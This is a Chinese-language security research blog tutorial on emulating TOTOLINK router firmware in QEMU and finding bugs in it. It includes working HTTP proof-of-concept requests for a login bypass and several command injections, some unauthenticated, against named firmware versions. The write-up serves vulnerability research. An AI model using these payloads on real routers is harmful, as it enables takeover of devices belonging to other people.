路由器挖掘基础教程-by-HRP

路由器挖掘基础教程-by-HRP

环境准备

1.Ubuntu22.04

2.qemu-system-mipsel

3.IDA 7.1

4.burpsuite

5.binwalk

6.适配hda与kernel

第一步:内核与hda下载

https://people.debian.org/~aurel32/qemu/

自行根据路由器架构选择,一般搭配如下,以mipsel举例

1
2
3
4
debian_squeeze_mipsel_standard.qcow2 

vmlinux-2.6.32-5-4kc-malta

hda要选择squeeze的,kernel选择最小版本的2.6的

第二步:配置网卡

ifconfig查看宿主机eth0网段

1
2
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
inet 172.28.60.132 netmask 255.255.240.0 broadcast 172.28.63.255

创建一张新的网卡tap0,和桥接如下

1
2
3
4
5
6
7
8
9
10
11
# 创建一个tap设备并启动它
tunctl -t tap0 -u root
ip link set tap0 up

# 创建一个新的网络桥,并将tap设备添加进去
brctl addbr br0
brctl addif br0 tap0

# 给br0分配IP地址
ip addr add 192.168.200.1/24 dev br0
ip link set br0 up

正式教学

本教程以totolink为主要教学目标,因为totolink太好挖了x

第一步上官网选取固件

https://www.totolink.net/home/news/me_name/id/39/menu_listtpl/DownloadC.html

tips:官网列出的不一定就是全部,有些下架的产品可以自己在id后面的路径改改也可以出来

案例一:A7000R V9.1.0u.6115_B20201022登录绕过

这里先说下,当你要挖一个路由器的时候,先在https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/171/ids/36.html

搜索你要挖的路由器的名字,然后自己对应版本去看 是否有人挖过了。如果有,不要立马放弃,路由器的洞基本上是连串的(因为模块是共用的有些),这个被挖了不代表别的产品被挖了,而且挖了不一定修复,可以下次等新产品或者固件出来再上手梭哈。所以这个list是非常有参考价值的。

第一步:CVE list搜索

我们本次的案例一A7000R登录绕过(是来自于风间映川师傅,我嫖了x) 如下list,登录绕过还没有人交,我提交了但是不知道什么时候能下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
CVE-2022-37084	TOTOLINK A7000R V9.1.0u.6115_B20201022被发现通过 addEffect 函数中的 sPort 参数包含堆栈溢出。
CVE-2022-37083 TOTOLINK A7000R V9.1.0u.6115_B20201022通过函数 setDiagnostic Cfg 中的 ip 参数发现包含命令注入漏洞。
CVE-2022-37082 TOTOLINK A7000R V9.1.0u.6115_B20201022通过函数 NTPSyncWithHost 中的 host_time 参数发现包含命令注入漏洞。
CVE-2022-37081 TOTOLINK A7000R V9.1.0u.6115_B20201022通过 setting/setTracerouteCfg 中的命令参数发现包含命令注入漏洞。
CVE-2022-37080 TOTOLINK A7000R V9.1.0u.6115_B20201022通过 settings/setTracerouteCfg 中的命令参数发现包含堆栈溢出。
CVE-2022-37079 TOTOLINK A7000R V9.1.0u.6115_B20201022通过函数 setOpModeCfg 中的 hostName 参数发现包含一个命令注入漏洞。
CVE-2022-37078 TOTOLINK A7000R V9.1.0u.6115_B20201022通过 /setting/setLanguageCfg 中的 lang 参数发现包含一个命令注入漏洞。
CVE-2022-37077 TOTOLINK A7000R V9.1.0u.6115_B20201022被发现包含通过 pppoeUser 参数的堆栈溢出。
CVE-2022-37076 TOTOLINK A7000R V9.1.0u.6115_B20201022通过函数 UploadFirmwareFile 中的 FileName 参数发现包含一个命令注入漏洞。
CVE-2022-37075 TOTOLink A7000R V9.1.0u.6115_B20201022被发现通过函数 setDiagnostic Cfg 中的 ip 参数包含堆栈溢出。
CVE-2022-32993 TOTOLINK A7000R V4.1cu.4134 被发现包含通过 /cgi-bin/ExportSettings.sh 的访问控制问题。
CVE-2022-27005 Totolink路由器的X5000R V9.1.0u.6118_B20201102和A7000R V9.1.0u.6115_B20201022被发现通过hostName参数在setWanCfg函数中包含命令注入漏洞。此漏洞允许攻击者通过构建的请求执行任意命令。
CVE-2022-27004 通过remote5000in9参数发现Totolink路由器的X1R V0.6118.20201102u.7000_B9和A1R V0.6115.20201022u.6_B4在隧道6in4函数中包含命令注入漏洞。此漏洞允许攻击者通过构建的请求执行任意命令。
CVE-2022-27003 Totolink 路由器的 X5000R V9.1.0u.6118_B20201102 和 A7000R V9.1.0u.6115_B20201022被发现通过 relay6rd 参数在隧道 6rd 函数中包含命令注入漏洞。此漏洞允许攻击者通过构建的请求执行任意命令。

第二步:下载对应版本的固件,分解,目录结构学习

案例一选择的是

A7000R_Firmware V9.1.0u.6115_B20201022(Transition version) 2020-12-30

我们已经下载好了,直接用binwalk开始分解

1
binwalk --run-as=root -Me TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web --preserve-symlinks

分解之后我们得到了如下目录

1
_TOTOLINK_C8340R-1C_A7000R_IP04349_MT7621A_SPI_16M128M_V9.1.0u.6115_B20201022_ALL.web.extracted

在这个目录里面有一个squashfs-root目录,这是我们路由器固件的核心目录,在这个目录,我们重点关注的一般就是

/bin /usr/bin /usr/sbin /www /web /web/cgi-bin

bin目录和sbin目录主要是存放了httpd服务器,用来启动路由器服务

www和web目录存放了主要的网页

cgi-bin目录存放的就是我们漏洞挖掘的核心-cgi

tips:有时候也可以挖httpd服务或者别的内置的网络服务

第三步:启动qemu,上传固件目录,简单配置以及启动路由器

qemu启动命令如下,默认用户名和密码都是root

1
qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

现在进来了对eth0网卡先分配个ip(qemu内)

1
ifconfig eth0 192.168.200.1

压缩固件目录(宿主机)

1
tar -czvf 1.tar squashfs-root/

配置Nginx代理(宿主机)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
server {
listen 80;
server_name 172.28.60.132;

location / {
proxy_pass http://192.168.200.2;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}

server {
listen 80;
server_name 192.168.200.2;

location / {
proxy_pass http://172.28.60.132;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}

scp上传(宿主机)

1
scp -oHostKeyAlgorithms=+ssh-rsa  1.tar root@192.168.200.2:/root

解压缩(qemu内)

1
tar -zxvf 1.tar

挂载(qemu内)

1
2
3
mount -o bind /dev ./squashfs-root/dev

mount -t proc /proc ./squashfs-root/proc/

chroot(qemu内)

1
chroot ./squashfs-root/ sh

启动httpd服务器

tips:本案例用的是Lighttpd服务器的路由器,有的是shttpd(在/usr/sbin),一般httpd服务器就在各大bin或者sbin还有根目录下,自己根据提示逐步配置。这里简单带一下

1
2
3
/ # lighttpd -f lighttp/lighttpd.conf
2023-07-26 02:28:27: (server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory
/ #

可以看见这里有个简单报错找不到文件,直接创建就好了

1
2
/ # mkdir /var/run
/ # touch /var/run/lighttpd.pid

然后再进行启动

1
2
/ # lighttpd -f lighttp/lighttpd.conf
/ # 2023-07-26 02:29:12: (log.c.97) server started

刚才已经进行过了Nginx代理,现在访问宿主机的eth0网卡即可

第四步:漏洞挖掘思路-登录绕过

这里直接上BP抓包先看看反应

第一个包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 172.28.60.132
Content-Length: 127
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.28.60.132
Referer: http://172.28.60.132/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"username":"21232f297a57a5a743894a0e4a801fc3","password":"c4ca4238a0b923820dcc509a6f75849b","flag":"0","topicurl":"loginAuth"}

用户名密码都是md5加密的,flag是标志phone还是PC,我们关注topicurl这个,这个变量是totolink的接口识别用的,可以看见现在在调用登录鉴权,先去cgi看看搜索loginauth

1
2
3
4
5
6
7
8
9
Address	Length	Type	String
.rodata:00439880 0000000D C loginAuthUrl
.rodata:00439978 00000063 C ,\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1\"}
.rodata:004399DC 00000065 C ,\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=ie8\"}
.rodata:00439A44 0000005C C ,\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login\"}
.rodata:0043A2B4 00000041 C {\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=1\"}
.rodata:0043A2F8 0000003A C {\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s\"}
.rodata:0043A450 00000043 C {\"topicurl\":\"loginAuth\",\"loginAuthUrl\":\"%s&http_host=%s&flag=ie8\"}
.data:0044D3F4 0000000A C loginAuth

可以看见调用了

formLoginAuth.htm这种htm的要么就是明确的文件要么就是塞在httpd服务的,这里我直接说了就是塞在了httpd服务的

我们去看看lighttpd的Form_Login函数

关键节选如下,分析后很容易看出来他有个变量是authCode,只要这个是1就分配session,然后还有个重定向goURL,这个直接改到home去就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if ( getNthValueSafe(0, v23, 61, v20) != -1 && getNthValueSafe(1, v23, 61, v8) != -1 )
{
if ( strstr(v20, "authCode") )
v7 = atoi(v8);
if ( strstr(v20, "userName") )
strcpy(v30, v8);
if ( strstr(v20, "password") )
strcpy(v29, v8);
if ( strstr(v20, "goURL") )
strcpy(v28, v8);
if ( strstr(v20, "flag") )
strcpy(v27, v8);
}
v9 = (int)v25;
}
}
if ( !v19[0] )
{
if ( strstr(&v13, "ie8") )
{
v10 = "wan_ie.html";
}
else if ( atoi(&v13) == 1 )
{
v10 = "phone/home.html";
}
else
{
v10 = "home.html";
}
strcpy(v19, v10);
}
if ( v7 )
{
fbss = 0;
do
{
v12 = time(0);
if ( !ws_get_cookie(a1, "SESSION_ID", v15, 0) && form_get_idx_by_sessionid(&fl_sess, v12, v15) != -1 )

分析后poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /formLoginAuth.htm?authCode=1&userName=&goURL=home.html&action=login HTTP/1.1
Host: 172.28.60.132
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.28.60.132/login.html?timestamp=1690291900
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1690291900:2
Connection: close


直接绕过登录,而且数据流程和正常登录的一模一样。

到此,案例一结束。

案例二:A7000R V9.1.0u.6115_B20201022命令执行

刚才我们讲了基本的绕过思路,结束抓包看cgi行为再去看具体的httpd服务器行为。现在我们在常见的接口来进行命令执行测试。

常见的接口,路由配置,ping测试,语言设置,密码更换,文件上传,文件下载都有可能是可以注入的点。

在这我们先来进行ping注入,

来抓包,改成如下用反引号拼接

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 172.28.60.132
Content-Length: 77
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.28.60.132
Referer: http://172.28.60.132/advance/diagnosis.html?timestamp=1690341567262
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1690339658:2
Connection: close

{"ip":"127.0.0.1`ls>/www/HRP666.txt`","num":"4","topicurl":"setDiagnosisCfg"}

结果

1
2
3
4
/www # cat HRP666*
ExportSettings.sh
cstecgi.cgi
custom.cgi

现在换下个接口,路由配置

都差不多的,这里用分号拼接。tips:避免后续本身自带的输出重定向导致无回显,可以在结尾再加一个分号

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 172.28.60.132
Content-Length: 80
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.28.60.132
Referer: http://172.28.60.132/advance/traceroute.html?timestamp=1690339677465
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1690339658:2
Connection: close

{"command":"127.0.0.1;ls>/www/hrp.txt;","num":"4","topicurl":"setTracerouteCfg"}

至此案例二结束。

案例三 :X5000R V9.1.0cu.2350_B20230313 未授权命令注入执行

产品信息

设备:TOTOlink X5000R
固件版本:V9.1.0cu.2350_B20230313
制造商网站信息:https://www.totolink.net/
固件下载地址:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/218/ids/36.html

漏洞描述

cstecgi.cgi的setLanguageCfg接口存在未授权任意命令执行

漏洞复现

直接上操作了,这里启动httpd命令如下

1
lighttpd -f etc/lighttpd/lighttpd.conf

直接未授权进行命令注入

6

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 172.28.60.132
Content-Length: 86
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.28.60.132
Referer: http://172.28.60.132/login.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1690339658:2
Connection: close

{"lang":"`ls>/web/HRP.txt`","langAutoFlag":"0","topicurl":"setLanguageCfg","token":""}

结果

7

思维发散

这个洞是不是看起来非常简单,但是深究起来他其实整个框架都有大问题的,为什么这么说,待我慢慢分析。

我们可以看见他的行为是setLanguageCfg,进IDA先看看cstecgi.cgi,但是这个版本的CGI不是很好看,他对CFG的调用综合到了一个函数,但是这个函数丑死了逆向不动,这里这个案例三其实是由案例4的思维发散挖掘到的。案例是是在一个小配置点出了命令执行,然后我进行深挖发觉的,直接看同SO库,案例3和4都用到了libcscommon.so

这我直接说结果了,他是因为调用了Uci_Set_Str函数

我们先拿案例4的来给大家看下,案例是是集合到了shttpd里面。

在shttpd,先从sub_4103A8函数开始分析,此注入点在setTr069Cfg配置这

我们IDA反汇编shttpd找到这,可以看见了Uci_Set_Str的第四个参数基本上全可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
v33 = v26;
v34 = sub_40A4FC(a1, "stun_user");
v35 = sub_40A4FC(v27, "stun_pass");
Uci_Set_Str(42, "stun", v28 - 25556, v32);
Uci_Set_Str(42, "stun", "server_address", v31);
Uci_Set_Str(42, "stun", "server_port", v30);
Uci_Set_Str(42, "stun", "max_keepalive", v29);
Uci_Set_Str(42, "stun", "min_keepalive", v33);
Uci_Set_Str(42, "stun", "username", v34);
Uci_Set_Str(42, "stun", "password", v35);
Uci_Commit(41);
Uci_Commit(42);
CsteSystem("/etc/init.d/stund restart", 0);
CsteSystem("/etc/init.d/cwmp restart", 0);
sub_40A548(a26, 1, "", 0);
__asm { jr $ra }
}

这个函数我们可以如下看so库

1
2
3
4
5
6
7
8
9
10
11
❯ readelf -d squashfs-root/usr/sbin/shttpd

Dynamic section at offset 0x188 contains 38 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libuci.so]
0x00000001 (NEEDED) Shared library: [libjson-c.so.2]
0x00000001 (NEEDED) Shared library: [libcjson.so]
0x00000001 (NEEDED) Shared library: [libcscommon.so]
0x00000001 (NEEDED) Shared library: [liboperations.so]
0x00000001 (NEEDED) Shared library: [libgcc_s.so.1]
0x00000001 (NEEDED) Shared library: [libc.so]

逐个分析后发现libcscommon.so处有引用,在/usr/lib目录下

IDA直接看,重点关注如下

1
2
3
snprintf(v9, 1024, "uci -c %s set %s.%s.%s=\"%s\"", v8);
CsteSystem(v9, 0);
return 1;

他是直接对我们传入的变量进行拼接执行,完全是没有过滤的,所以这就是思维发散,同个公司生成的产品,基本上这种共享SO库都是共用的,找到同模块大概率就是梭哈的了。

产品信息

设备:TOTOlink A3300R
固件版本:V17.0.0cu.557_B20221024
制造商网站信息:https://www.totolink.net/
固件下载地址:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/241/ids/36.html

漏洞描述

shttpd的libcscommon.so库的Uci_Set_Str函数命令参数容易受到操作系统命令注入的影响。

具体接口如下URL

URL:http://172.28.60.132/advance/tr069_cfg.html

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 172.28.60.132
Content-Length: 273
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.28.60.132
Referer: http://172.28.60.132/advance/tr069_cfg.html?time=1690220931665
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"addEffect":"0","enable":"1","url":"127.0.0.1","user":"1","pass":"1","informEnable":"0","interval":"","stunEnable":"0","stunServerAddr":"","stunPort":"","stunMaxAlive":"3600","stunMinAlive":"30","stun_user":"admin","stun_pass":"`ls>/web/HRP.txt`","topicurl":"setTr069Cfg"}

在totolink中setTr069Cfg这个也是常见的配置,上面分析我已经分析过了就不继续了。

为什么要说他就是因为他的启动方式和一般的不一样,他用的是shttpd,启动方式如下

1
/usr/sbin/shttpd -root /web
产品信息

设备:TOTOlink A3100R
固件版本:V4.1.2cu.5247_B20211129
制造商网站信息:https://www.totolink.net/
固件下载地址:https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/170/ids/36.html

漏洞描述

downloadFlile.cgi存在未授权任意访问的命令执行

URL:http://172.28.60.132/cgi-bin/downloadFlile.cgi

POC:

1
2
3
4
5
6
7
8
9
10
GET /cgi-bin/downloadFlile.cgi?l;ls$IFS>/web_cste/HRP.txt; HTTP/1.1
Host: 172.28.60.132
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


注入命令”l;ls$IFS/>/web_cste/HRP.txt”

分析

downloadFlile.cgi中获取GET参数的时候,没有任何过滤就进行了拼接后交付system执行导致了任意命令执行漏洞

8

总结

这是我挖路由器的第二天,备战考研,忙里偷闲,弄完这两天就不弄了。上面的洞都是原创自挖的,其实从简单的路由器入门会好很多,有兴趣的还可以试试看水星和老版本的dlink tplink,但是论弱智程度,我得说还得是totolink。

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信